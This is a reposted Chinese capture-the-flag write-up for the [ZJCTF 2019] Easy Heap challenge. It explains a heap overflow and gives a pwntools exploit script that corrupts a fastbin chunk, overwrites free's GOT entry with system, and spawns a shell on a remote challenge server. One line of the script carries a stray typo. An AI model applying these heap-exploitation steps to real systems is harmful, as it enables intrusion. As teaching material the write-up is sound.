ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

[ZJCTF 2019]Easy Heap

2022-01-14 17:03:42  阅读:170  来源: 互联网

标签:str ZJCTF create free sendline 2019 Heap recvuntil payload


通过ida分析程序可以得知 该程序存在堆溢出漏洞 题目中的后门是假的(利用不了

对堆进行编辑的时候 这里写入内容的大小是可以自定义的 所以这里是存在漏洞的

利用思路:

创建chunk 0 1 2 ,chunk1 写入/bin/sh 同时填入垃圾数据 覆盖到chunk2 的 fd指针的位置(free后)fd指针指向的位置 ,要求能绕过 malloc fastbins 的检查 ,即伪造chunk的 size位 小于0x80 。

然后编辑chunk0 修改free_got 的地址 改为 system函数的地址

这样 free chunk1 即可 get shell

exp:

from pwn import *
context(os = "linux", log_level ='debug',arch = "amd64")
#p = process('./easyheap')
p = remote("node4.buuoj.cn",28914)
elf =ELF('./easyheap')

def create(size,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap:')
	p.send(str(content))	

def edit(index,size,content):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap : ')
	p.send(str(content))

def free(index):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))

free_got = elf.got['free']
flag = 0x400c32

create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)

# gdb.attach(p)
# pause()
create(0x68,'aaaa')
create(0x68,'c')

payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)d
payload = p64(elf.plt["system"]) #


edit(0,len(payload),payload)
free(1)

#gdb.attach(p)

p.interactive()

标签:str,ZJCTF,create,free,sendline,2019,Heap,recvuntil,payload
来源: https://blog.csdn.net/m0_57754423/article/details/122496988

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有